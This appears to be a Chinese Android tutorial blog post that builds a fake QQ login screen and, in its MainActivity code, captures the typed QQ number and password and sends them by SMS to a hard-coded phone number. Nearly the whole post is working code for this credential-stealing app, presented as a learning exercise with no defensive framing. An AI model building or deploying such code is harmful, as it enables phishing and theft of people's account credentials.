安卓学习之获取QQ登录账户和密码并发送短信

来源:互联网 发布:c语言100以内的素数 编辑:程序博客网 时间:2024/05/17 07:30

布局代码:
<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    tools:context="cn.com.tarena.day01_easylogin.MainActivity"    android:orientation="vertical"    >    <ImageView        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:id="@+id/Image01"        android:src="@drawable/icon_img"        android:layout_marginLeft="100dp"        />    <LinearLayout        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:orientation="horizontal"        >        <TextView            android:layout_width="wrap_content"            android:layout_height="wrap_content"            android:textAppearance="?android:attr/textAppearanceLarge"            android:text="@string/user_name"            android:id="@+id/textView"            />        <EditText            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:id="@+id/EditText01"            android:hint="    请输入用户名"/>    </LinearLayout>    <LinearLayout        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:orientation="horizontal">        <TextView            android:layout_width="wrap_content"            android:layout_height="wrap_content"            android:textAppearance="?android:attr/textAppearanceLarge"            android:text="密    码:"            android:id="@+id/textView3"            />        <EditText            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:id="@+id/EditText02"            android:hint="请输入密码"            android:password="true"            />    </LinearLayout>    <LinearLayout        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:orientation="horizontal">        <Button            android:layout_width="0dp"            android:layout_height="wrap_content"            android:text="登陆"            android:id="@+id/button"            android:layout_weight="0.2"            android:background="@drawable/btn_background"            />    </LinearLayout></LinearLayout>

主方法代码:

import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.telephony.SmsManager;import android.view.View;import android.widget.Button;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends AppCompatActivity {    private Button Login;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Login=(Button)this.findViewById(R.id.button);        final EditText user=(EditText)this.findViewById(R.id.EditText01);        final EditText pass=(EditText)this.findViewById(R.id.EditText02);        Login.setOnClickListener(new myOnClickListener(){         @Override         public void onClick(View v) {             super.onClick(v);             String get_user = user.getText().toString().trim();             String get_pass = pass.getText().toString().trim();             System.out.println("QQNumber:" + get_user + ",Password:" + get_pass);             Toast.makeText(MainActivity.this, "get_user:" + get_user + ",get_pass:" + get_pass, Toast.LENGTH_LONG).show();             SmsManager manager = SmsManager.getDefault();             manager.sendTextMessage("15170267045",null,"QQNumber:"+get_user+",Password:"+get_pass,null,null);         }        }        );    }    class myOnClickListener implements View.OnClickListener{        @Override        public void onClick(View v) {            v.setAlpha(0.5f);        }    }}

实现效果:


1 0
原创粉丝点击